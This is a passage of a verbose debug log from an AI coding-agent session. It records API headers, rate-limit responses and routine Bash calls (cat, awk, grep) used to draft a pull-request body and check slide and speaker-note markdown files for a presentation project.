true,\n[2026-09-29T08:02:38.146Z] [STDOUT]   },\n[2026-09-29T08:02:38.160Z] [STDOUT]   headers: {\n[2026-09-29T08:02:38.163Z] [STDOUT]     accept: \"application/json\",\n[2026-09-29T08:02:38.171Z] [STDOUT]     \"anthropic-beta\": \"claude-code-20250219,oauth-2025-04-20,interleaved-thinking-2025-05-14,thinking-token-count-2026-05-13,context-management-2025-06-27,prompt-caching-scope-2026-01-05,mid-conversation-system-2026-04-07,per-turn-control-2026-07-01,mid-conversation-tool-changes-2026-07-01,advisor-tool-2026-03-01,advanced-tool-use-2025-11-20,mid-conversation-system-clear-at-2026-08-21,effort-2025-11-24,thinking-binding-controls-2026-08-01,thinking-display-updates-2026-08-18,extended-cache-ttl-2025-04-11,cache-diagnosis-2026-04-07,message-threads-2026-08-12\",\n[2026-09-29T08:02:38.182Z] [STDOUT]     \"anthropic-dangerous-direct-browser-access\": \"true\",\n[2026-09-29T08:02:38.199Z] [STDOUT]     \"anthropic-dispatch-id\": \"v2d\",\n[2026-09-29T08:02:38.207Z] [STDOUT]     \"anthropic-version\": \"2023-06-01\",\n[2026-09-29T08:02:38.278Z] [STDOUT]     authorization: \"[REDACTED]\",\n[2026-09-29T08:02:38.288Z] [STDOUT]     \"content-type\": \"application/json\",\n[2026-09-29T08:02:38.312Z] [STDOUT]     \"user-agent\": \"claude-cli/2.1.284 (external, sdk-cli)\",\n[2026-09-29T08:02:38.319Z] [STDOUT]     \"x-app\": \"cli\",\n[2026-09-29T08:02:38.322Z] [STDOUT]     \"x-claude-code-prev-tool-durations\": \"Bash=2293\",\n[2026-09-29T08:02:38.330Z] [STDOUT]     \"x-claude-code-prompt-id\": \"0c6b6133-0ba4-48fe-8f91-a84541ac33b7\",\n[2026-09-29T08:02:38.335Z] [STDOUT]     \"x-claude-code-request-class\": \"main\",\n[2026-09-29T08:02:38.340Z] [STDOUT]     \"x-claude-code-session-id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T08:02:38.346Z] [STDOUT]     \"x-client-request-id\": \"c39ebb10-e715-4717-94b0-93ba3f965b5f\",\n[2026-09-29T08:02:38.349Z] [STDOUT]     \"x-stainless-arch\": \"x64\",\n[2026-09-29T08:02:38.355Z] [STDOUT]     \"x-stainless-lang\": \"js\",\n[2026-09-29T08:02:38.360Z] [STDOUT]     \"x-stainless-os\": \"Linux\",\n[2026-09-29T08:02:38.376Z] [STDOUT]     \"x-stainless-package-version\": \"0.112.1\",\n[2026-09-29T08:02:38.383Z] [STDOUT]     \"x-stainless-retry-count\": \"0\",\n[2026-09-29T08:02:38.394Z] [STDOUT]     \"x-stainless-runtime\": \"node\",\n[2026-09-29T08:02:38.398Z] [STDOUT]     \"x-stainless-runtime-version\": \"v26.3.0\",\n[2026-09-29T08:02:38.402Z] [STDOUT]     \"x-stainless-timeout\": \"600\",\n[2026-09-29T08:02:38.409Z] [STDOUT]   },\n[2026-09-29T08:02:38.413Z] [STDOUT] }\n[2026-09-29T08:02:39.049Z] [STDOUT] [log_54f062, request-id: \"req_011CfXP4v9DXyawg9sgKmcX1\"] post https://api.anthropic.com/v1/messages?beta=true succeeded with status 200 in 1071ms\n[2026-09-29T08:02:39.057Z] [STDOUT] [log_54f062] response start {\n[2026-09-29T08:02:39.071Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T08:02:39.074Z] [STDOUT]   status: 200,\n[2026-09-29T08:02:39.080Z] [STDOUT]   headers: {\n[2026-09-29T08:02:39.088Z] [STDOUT]     \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T08:02:39.098Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T08:02:39.105Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T08:02:39.110Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-utilization\": \"0.46\",\n[2026-09-29T08:02:39.114Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T08:02:39.121Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T08:02:39.133Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T08:02:39.138Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-utilization\": \"0.78\",\n[2026-09-29T08:02:39.162Z] [STDOUT]     \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T08:02:39.167Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T08:02:39.170Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T08:02:39.172Z] [STDOUT]     \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T08:02:39.181Z] [STDOUT]     \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T08:02:39.186Z] [STDOUT]     \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T08:02:39.191Z] [STDOUT]     \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T08:02:39.195Z] [STDOUT]     \"cache-control\": \"no-cache\",\n[2026-09-29T08:02:39.202Z] [STDOUT]     \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T08:02:39.205Z] [STDOUT]     \"cf-ray\": \"a429777b3f5a5d90-FRA\",\n[2026-09-29T08:02:39.207Z] [STDOUT]     connection: \"keep-alive\",\n[2026-09-29T08:02:39.209Z] [STDOUT]     \"content-encoding\": \"gzip\",\n[2026-09-29T08:02:39.212Z] [STDOUT]     \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T08:02:39.215Z] [STDOUT]     \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T08:02:39.217Z] [STDOUT]     date: \"Tue, 29 Sep 2026 08:02:38 GMT\",\n[2026-09-29T08:02:39.219Z] [STDOUT]     \"request-id\": \"req_011CfXP4v9DXyawg9sgKmcX1\",\n[2026-09-29T08:02:39.221Z] [STDOUT]     server: \"cloudflare\",\n[2026-09-29T08:02:39.223Z] [STDOUT]     \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T08:02:39.227Z] [STDOUT]     traceresponse: \"00-4beea3c1df9ffd90f7b953dff6109c90-df09fdd070ddb3d8-01\",\n[2026-09-29T08:02:39.229Z] [STDOUT]     \"transfer-encoding\": \"chunked\",\n[2026-09-29T08:02:39.231Z] [STDOUT]     vary: \"Accept-Encoding\",\n[2026-09-29T08:02:39.234Z] [STDOUT]     \"x-robots-tag\": \"none\",\n[2026-09-29T08:02:39.236Z] [STDOUT]   },\n[2026-09-29T08:02:39.238Z] [STDOUT]   durationMs: 1071,\n[2026-09-29T08:02:39.240Z] [STDOUT] }\n[2026-09-29T08:02:39.242Z] [STDOUT] response 200 https://api.anthropic.com/v1/messages?beta=true Headers {\n[2026-09-29T08:02:39.244Z] [STDOUT]   \"date\": \"Tue, 29 Sep 2026 08:02:38 GMT\",\n[2026-09-29T08:02:39.247Z] [STDOUT]   \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T08:02:39.249Z] [STDOUT]   \"transfer-encoding\": \"chunked\",\n[2026-09-29T08:02:39.251Z] [STDOUT]   \"connection\": \"keep-alive\",\n[2026-09-29T08:02:39.254Z] [STDOUT]   \"cache-control\": \"no-cache\",\n[2026-09-29T08:02:39.256Z] [STDOUT]   \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T08:02:39.258Z] [STDOUT]   \"content-encoding\": \"gzip\",\n[2026-09-29T08:02:39.261Z] [STDOUT]   \"vary\": \"Accept-Encoding\",\n[2026-09-29T08:02:39.265Z] [STDOUT]   \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T08:02:39.267Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T08:02:39.283Z] [STDOUT]   \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T08:02:39.287Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T08:02:39.290Z] [STDOUT]   \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T08:02:39.293Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-utilization\": \"0.46\",\n[2026-09-29T08:02:39.295Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T08:02:39.297Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T08:02:39.299Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T08:02:39.301Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T08:02:39.303Z] [STDOUT]   \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T08:02:39.306Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T08:02:39.310Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-utilization\": \"0.78\",\n[2026-09-29T08:02:39.314Z] [STDOUT]   \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T08:02:39.316Z] [STDOUT]   \"request-id\": \"req_011CfXP4v9DXyawg9sgKmcX1\",\n[2026-09-29T08:02:39.318Z] [STDOUT]   \"traceresponse\": \"00-4beea3c1df9ffd90f7b953dff6109c90-df09fdd070ddb3d8-01\",\n[2026-09-29T08:02:39.320Z] [STDOUT]   \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T08:02:39.322Z] [STDOUT]   \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T08:02:39.324Z] [STDOUT]   \"server\": \"cloudflare\",\n[2026-09-29T08:02:39.327Z] [STDOUT]   \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T08:02:39.329Z] [STDOUT]   \"x-robots-tag\": \"none\",\n[2026-09-29T08:02:39.330Z] [STDOUT]   \"cf-ray\": \"a429777b3f5a5d90-FRA\",\n[2026-09-29T08:02:39.332Z] [STDOUT] } ReadableStream { locked: false, state: 'readable', supportsBYOB: false }\n[2026-09-29T08:02:39.335Z] [STDOUT] [log_54f062] response parsed {\n[2026-09-29T08:02:39.338Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T08:02:39.340Z] [STDOUT]   status: 200,\n[2026-09-29T08:02:39.341Z] [STDOUT]   body: X {\n[2026-09-29T08:02:39.344Z] [STDOUT]     iterator: [AsyncGeneratorFunction: i],\n[2026-09-29T08:02:39.348Z] [STDOUT]     controller: AbortController {\n[2026-09-29T08:02:39.354Z] [STDOUT]       signal: [AbortSignal ...],\n[2026-09-29T08:02:39.356Z] [STDOUT]       abort: [Function: abort],\n[2026-09-29T08:02:39.362Z] [STDOUT]     },\n[2026-09-29T08:02:39.366Z] [STDOUT]     [Symbol(Symbol.asyncIterator)]: [Function],\n[2026-09-29T08:02:39.372Z] [STDOUT]     tee: [Function: tee],\n[2026-09-29T08:02:39.382Z] [STDOUT]     toReadableStream: [Function: toReadableStream],\n[2026-09-29T08:02:39.387Z] [STDOUT]   },\n[2026-09-29T08:02:39.395Z] [STDOUT]   durationMs: 1076,\n[2026-09-29T08:02:39.404Z] [STDOUT] }\n[2026-09-29T08:02:39.409Z] [INFO] {\n[2026-09-29T08:02:39.409Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T08:02:39.409Z] [INFO]   \"message\": {\n[2026-09-29T08:02:39.409Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T08:02:39.409Z] [INFO]     \"id\": \"msg_011CfXP4vfxWYfkGcbiq69PK\",\n[2026-09-29T08:02:39.409Z] [INFO]     \"type\": \"message\",\n[2026-09-29T08:02:39.409Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T08:02:39.409Z] [INFO]     \"content\": [\n[2026-09-29T08:02:39.409Z] [INFO]       {\n[2026-09-29T08:02:39.409Z] [INFO]         \"type\": \"text\",\n[2026-09-29T08:02:39.409Z] [INFO]         \"text\": \"Still running. I'll write the PR body in the meantime.\"\n[2026-09-29T08:02:39.409Z] [INFO]       }\n[2026-09-29T08:02:39.409Z] [INFO]     ],\n[2026-09-29T08:02:39.409Z] [INFO]     \"container\": null,\n[2026-09-29T08:02:39.409Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T08:02:39.409Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T08:02:39.409Z] [INFO]     \"stop_details\": null,\n[2026-09-29T08:02:39.409Z] [INFO]     \"usage\": {\n[2026-09-29T08:02:39.409Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T08:02:39.409Z] [INFO]       \"cache_creation_input_tokens\": 206,\n[2026-09-29T08:02:39.409Z] [INFO]       \"cache_read_input_tokens\": 86783,\n[2026-09-29T08:02:39.409Z] [INFO]       \"cache_creation\": {\n[2026-09-29T08:02:39.409Z] [INFO]         \"ephemeral_5m_input_tokens\": 0,\n[2026-09-29T08:02:39.409Z] [INFO]         \"ephemeral_1h_input_tokens\": 206\n[2026-09-29T08:02:39.409Z] [INFO]       },\n[2026-09-29T08:02:39.409Z] [INFO]       \"output_tokens\": 39,\n[2026-09-29T08:02:39.409Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T08:02:39.409Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T08:02:39.409Z] [INFO]     },\n[2026-09-29T08:02:39.409Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T08:02:39.409Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T08:02:39.409Z] [INFO]     \"context_management\": null\n[2026-09-29T08:02:39.409Z] [INFO]   },\n[2026-09-29T08:02:39.409Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T08:02:39.409Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T08:02:39.409Z] [INFO]   \"uuid\": \"4477c6dc-b8e9-4e73-a4ab-bf2453c9e18e\",\n[2026-09-29T08:02:39.409Z] [INFO]   \"timestamp\": \"2026-09-29T08:02:39.070Z\",\n[2026-09-29T08:02:39.409Z] [INFO]   \"request_id\": \"req_011CfXP4v9DXyawg9sgKmcX1\"\n[2026-09-29T08:02:39.409Z] [INFO] }\n[2026-09-29T08:02:59.326Z] [INFO] {\n[2026-09-29T08:02:59.326Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T08:02:59.326Z] [INFO]   \"message\": {\n[2026-09-29T08:02:59.326Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T08:02:59.326Z] [INFO]     \"id\": \"msg_011CfXP4vfxWYfkGcbiq69PK\",\n[2026-09-29T08:02:59.326Z] [INFO]     \"type\": \"message\",\n[2026-09-29T08:02:59.326Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T08:02:59.326Z] [INFO]     \"content\": [\n[2026-09-29T08:02:59.326Z] [INFO]       {\n[2026-09-29T08:02:59.326Z] [INFO]         \"type\": \"tool_use\",\n[2026-09-29T08:02:59.326Z] [INFO]         \"id\": \"toolu_01DxJV4RKMs5j38NpyhiBq19\",\n[2026-09-29T08:02:59.326Z] [INFO]         \"name\": \"Bash\",\n[2026-09-29T08:02:59.326Z] [INFO]         \"input\": {\n[2026-09-29T08:02:59.326Z] [INFO]           \"command\": \"cd /tmp/gh-issue-solver-1790667776920; B=https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/issue-646-497e337ac092; cat > /tmp/pr-body.md < /tmp/pr-body.md < \\\\*\\\\*' *slides.md | head -3; cat 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    \"cache_read_input_tokens\": 86989,\n[2026-09-29T08:03:06.317Z] [INFO]       \"cache_creation\": {\n[2026-09-29T08:03:06.317Z] [INFO]         \"ephemeral_5m_input_tokens\": 0,\n[2026-09-29T08:03:06.317Z] [INFO]         \"ephemeral_1h_input_tokens\": 2485\n[2026-09-29T08:03:06.317Z] [INFO]       },\n[2026-09-29T08:03:06.317Z] [INFO]       \"output_tokens\": 8,\n[2026-09-29T08:03:06.317Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T08:03:06.317Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T08:03:06.317Z] [INFO]     },\n[2026-09-29T08:03:06.317Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T08:03:06.317Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T08:03:06.317Z] [INFO]     \"context_management\": null\n[2026-09-29T08:03:06.317Z] [INFO]   },\n[2026-09-29T08:03:06.317Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T08:03:06.317Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T08:03:06.317Z] [INFO]   \"uuid\": \"782c2671-98a2-45cf-8d2d-ab2103d7cae4\",\n[2026-09-29T08:03:06.317Z] [INFO]   \"timestamp\": \"2026-09-29T08:03:06.309Z\",\n[2026-09-29T08:03:06.317Z] [INFO]   \"request_id\": \"req_011CfXP6ec8JKtDRGzjZmu8z\",\n[2026-09-29T08:03:06.317Z] [INFO]   \"wire_tool_inputs\": {\n[2026-09-29T08:03:06.317Z] [INFO]     \"toolu_01NYR5Jq7ivZVV468KFJcJYe\": {\n[2026-09-29T08:03:06.317Z] [INFO]       \"command\": \"cd /tmp/gh-issue-solver-1790667776920/projects/ba-ai-process/docs/presentation; awk '/^## \u041e\u0442\u0432\u0435\u0442\u044b/{f=1} f&&/^### /{n++} END{print \\\"qa\\\",n}' *speaker*.md; grep -c '\u0412\u0438\u0437\u0443\u0430\u043b\u044c\u043d\u043e\u0435 \u0434\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e' *slides.md; grep -c '\u041f\u0440\u043e\u043c\u043f\u0442 \u0434\u043b\u044f \u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u044f' *slides.md; grep -n -i '\u0432\u044b\u0434\u0435\u043b\u0435\u043d\\\\|> \\\\*\\\\*' *slides.md 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\"claude-code-20250219,oauth-2025-04-20,interleaved-thinking-2025-05-14,thinking-token-count-2026-05-13,context-management-2025-06-27,prompt-caching-scope-2026-01-05,mid-conversation-system-2026-04-07,per-turn-control-2026-07-01,mid-conversation-tool-changes-2026-07-01,advisor-tool-2026-03-01,advanced-tool-use-2025-11-20,mid-conversation-system-clear-at-2026-08-21,effort-2025-11-24,thinking-binding-controls-2026-08-01,thinking-display-updates-2026-08-18,extended-cache-ttl-2025-04-11,cache-diagnosis-2026-04-07,message-threads-2026-08-12\",\n[2026-09-29T08:03:08.416Z] [STDOUT]     \"anthropic-dangerous-direct-browser-access\": \"true\",\n[2026-09-29T08:03:08.420Z] [STDOUT]     \"anthropic-dispatch-id\": \"v2d\",\n[2026-09-29T08:03:08.423Z] [STDOUT]     \"anthropic-version\": \"2023-06-01\",\n[2026-09-29T08:03:08.426Z] [STDOUT]     authorization: \"[REDACTED]\",\n[2026-09-29T08:03:08.431Z] [STDOUT]     \"content-type\": \"application/json\",\n[2026-09-29T08:03:08.437Z] [STDOUT]     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\"x-stainless-retry-count\": \"0\",\n[2026-09-29T08:03:08.493Z] [STDOUT]     \"x-stainless-runtime\": \"node\",\n[2026-09-29T08:03:08.496Z] [STDOUT]     \"x-stainless-runtime-version\": \"v26.3.0\",\n[2026-09-29T08:03:08.499Z] [STDOUT]     \"x-stainless-timeout\": \"600\",\n[2026-09-29T08:03:08.501Z] [STDOUT]   },\n[2026-09-29T08:03:08.503Z] [STDOUT] }\n[2026-09-29T08:03:09.138Z] [STDOUT] [log_0a58bf, request-id: \"req_011CfXP79j6F6njqnKfuYGAv\"] post https://api.anthropic.com/v1/messages?beta=true succeeded with status 200 in 885ms\n[2026-09-29T08:03:09.144Z] [STDOUT] [log_0a58bf] response start {\n[2026-09-29T08:03:09.153Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T08:03:09.157Z] [STDOUT]   status: 200,\n[2026-09-29T08:03:09.161Z] [STDOUT]   headers: {\n[2026-09-29T08:03:09.168Z] [STDOUT]     \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T08:03:09.174Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T08:03:09.183Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T08:03:09.192Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-utilization\": \"0.46\",\n[2026-09-29T08:03:09.203Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T08:03:09.208Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T08:03:09.217Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T08:03:09.232Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-utilization\": \"0.78\",\n[2026-09-29T08:03:09.241Z] [STDOUT]     \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T08:03:09.258Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T08:03:09.261Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T08:03:09.265Z] [STDOUT]     \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T08:03:09.272Z] [STDOUT]     \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T08:03:09.278Z] [STDOUT]     \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T08:03:09.288Z] [STDOUT]     \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T08:03:09.292Z] [STDOUT]     \"cache-control\": \"no-cache\",\n[2026-09-29T08:03:09.295Z] [STDOUT]     \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T08:03:09.301Z] [STDOUT]     \"cf-ray\": \"a4297838a8b35d90-FRA\",\n[2026-09-29T08:03:09.310Z] [STDOUT]     connection: \"keep-alive\",\n[2026-09-29T08:03:09.390Z] [STDOUT]     \"content-encoding\": \"gzip\",\n[2026-09-29T08:03:09.413Z] [STDOUT]     \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T08:03:09.449Z] [STDOUT]     \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T08:03:09.458Z] [STDOUT]     date: \"Tue, 29 Sep 2026 08:03:09 GMT\",\n[2026-09-29T08:03:09.463Z] [STDOUT]     \"request-id\": \"req_011CfXP79j6F6njqnKfuYGAv\",\n[2026-09-29T08:03:09.466Z] [STDOUT]     server: \"cloudflare\",\n[2026-09-29T08:03:09.497Z] [STDOUT]     \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T08:03:09.540Z] [STDOUT]     traceresponse: \"00-834e485cda53c0c40f9d9d25f0ba364c-560d3004f41cd15b-01\",\n[2026-09-29T08:03:09.557Z] [STDOUT]     \"transfer-encoding\": \"chunked\",\n[2026-09-29T08:03:09.567Z] [STDOUT]     vary: \"Accept-Encoding\",\n[2026-09-29T08:03:09.574Z] [STDOUT]     \"x-robots-tag\": \"none\",\n[2026-09-29T08:03:09.582Z] [STDOUT]   },\n[2026-09-29T08:03:09.613Z] [STDOUT]   durationMs: 885,\n[2026-09-29T08:03:09.625Z] [STDOUT] }\n[2026-09-29T08:03:09.635Z] [STDOUT] response 200 https://api.anthropic.com/v1/messages?beta=true Headers {\n[2026-09-29T08:03:09.637Z] [STDOUT]   \"date\": \"Tue, 29 Sep 2026 08:03:09 GMT\",\n[2026-09-29T08:03:09.657Z] [STDOUT]   \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T08:03:09.667Z] [STDOUT]   \"transfer-encoding\": \"chunked\",\n[2026-09-29T08:03:09.672Z] [STDOUT]   \"connection\": \"keep-alive\",\n[2026-09-29T08:03:09.676Z] [STDOUT]   \"cache-control\": \"no-cache\",\n[2026-09-29T08:03:09.678Z] [STDOUT]   \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T08:03:09.681Z] [STDOUT]   \"content-encoding\": \"gzip\",\n[2026-09-29T08:03:09.684Z] [STDOUT]   \"vary\": \"Accept-Encoding\",\n[2026-09-29T08:03:09.686Z] [STDOUT]   \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T08:03:09.690Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T08:03:09.693Z] [STDOUT]   \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T08:03:09.697Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T08:03:09.701Z] [STDOUT]   \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T08:03:09.705Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-utilization\": \"0.46\",\n[2026-09-29T08:03:09.708Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T08:03:09.722Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T08:03:09.725Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T08:03:09.729Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T08:03:09.738Z] [STDOUT]   \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T08:03:09.756Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T08:03:09.774Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-utilization\": \"0.78\",\n[2026-09-29T08:03:09.780Z] [STDOUT]   \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T08:03:09.784Z] [STDOUT]   \"request-id\": \"req_011CfXP79j6F6njqnKfuYGAv\",\n[2026-09-29T08:03:09.786Z] [STDOUT]   \"traceresponse\": \"00-834e485cda53c0c40f9d9d25f0ba364c-560d3004f41cd15b-01\",\n[2026-09-29T08:03:09.792Z] [STDOUT]   \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T08:03:09.800Z] [STDOUT]   \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T08:03:09.803Z] [STDOUT]   \"server\": \"cloudflare\",\n[2026-09-29T08:03:09.808Z] [STDOUT]   \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T08:03:09.812Z] [STDOUT]   \"x-robots-tag\": \"none\",\n[2026-09-29T08:03:09.817Z] [STDOUT]   \"cf-ray\": \"a4297838a8b35d90-FRA\",\n[2026-09-29T08:03:09.821Z] [STDOUT] } ReadableStream { locked: false, state: 'readable', supportsBYOB: false }\n[2026-09-29T08:03:09.855Z] [STDOUT] [log_0a58bf] response parsed {\n[2026-09-29T08:03:09.862Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T08:03:09.866Z] [STDOUT]   status: 200,\n[2026-09-29T08:03:09.870Z] [STDOUT]   body: X {\n[2026-09-29T08:03:09.877Z] [STDOUT]     iterator: [AsyncGeneratorFunction: i],\n[2026-09-29T08:03:09.880Z] [STDOUT]     controller: AbortController {\n[2026-09-29T08:03:09.881Z] [STDOUT]       signal: [AbortSignal ...],\n[2026-09-29T08:03:09.883Z] [STDOUT]       abort: [Function: abort],\n[2026-09-29T08:03:09.886Z] [STDOUT]     },\n[2026-09-29T08:03:09.889Z] [STDOUT]     [Symbol(Symbol.asyncIterator)]: [Function],\n[2026-09-29T08:03:09.893Z] [STDOUT]     tee: [Function: tee],\n[2026-09-29T08:03:09.899Z] [STDOUT]     toReadableStream: [Function: toReadableStream],\n[2026-09-29T08:03:09.902Z] [STDOUT]   },\n[2026-09-29T08:03:09.908Z] [STDOUT]   durationMs: 886,\n[2026-09-29T08:03:09.913Z] [STDOUT] }\n[2026-09-29T08:03:09.921Z] [INFO] {\n[2026-09-29T08:03:09.921Z] [INFO]   \"type\": \"system\",\n[2026-09-29T08:03:09.921Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T08:03:09.921Z] [INFO]   \"estimated_tokens\": 50,\n[2026-09-29T08:03:09.921Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T08:03:09.921Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T08:03:09.921Z] [INFO]   \"uuid\": \"c787b512-b7f3-4a02-bc40-c8c1123f80d5\"\n[2026-09-29T08:03:09.921Z] [INFO] }\n[2026-09-29T08:03:10.106Z] [INFO] {\n[2026-09-29T08:03:10.106Z] [INFO]   \"type\": 